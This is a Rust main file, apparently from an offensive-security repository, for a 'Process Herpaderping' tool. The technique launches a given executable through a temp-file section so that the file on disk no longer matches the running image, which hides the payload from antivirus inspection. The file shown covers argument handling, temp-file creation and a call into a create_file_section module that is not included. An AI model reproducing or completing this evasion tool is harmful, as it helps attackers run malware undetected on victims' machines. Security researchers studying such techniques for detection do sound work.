/*
    Process Herpaderping 
    @5mukx
*/

use widestring::U16CString;
use winapi::um::{errhandlingapi::GetLastError, fileapi::GetTempFileNameW};
use create_file_section::create_file_section;

pub mod create_file_section;
pub mod process_herpaderping;
pub mod init_params;

fn main() -> Result<(), Box<dyn std::error::Error>>{
    let args: Vec<String> = std::env::args().collect();

    if args.len() != 3{
        eprintln!("Usage: Herpaderping.exe <file.exe> <file_path>");
        std::process::exit(0x100);
    }

    let buffer = std::fs::read(&args[1])?;
    
    let dir_temp = U16CString::from_str(std::env::temp_dir().to_str().unwrap())?;
    let prefix = U16CString::from_str("TT")?;    
    let mut temp_file_name: Vec<u16> = vec![0; 256];

    unsafe{
        let success = GetTempFileNameW(
            dir_temp.as_ptr() as *const u16, 
            prefix.as_ptr() as *const u16, 
            0, 
            temp_file_name.as_mut_ptr()
        );

        if success == 0{
            eprintln!("[-] GetTempFileNameW Failed: {}", GetLastError());
            std::process::exit(0x100);
        }

    }
    let file = String::from_utf16(&temp_file_name).unwrap(); 
    let path_nt = format!(r"{}", file.trim_matches('\0'));

    println!("[+] PATH TEMP: {}", path_nt); 

    create_file_section(
        path_nt, 
        buffer, 
        dir_temp.to_string().unwrap(), 
        &args[2],
    )?;

    Ok(())
}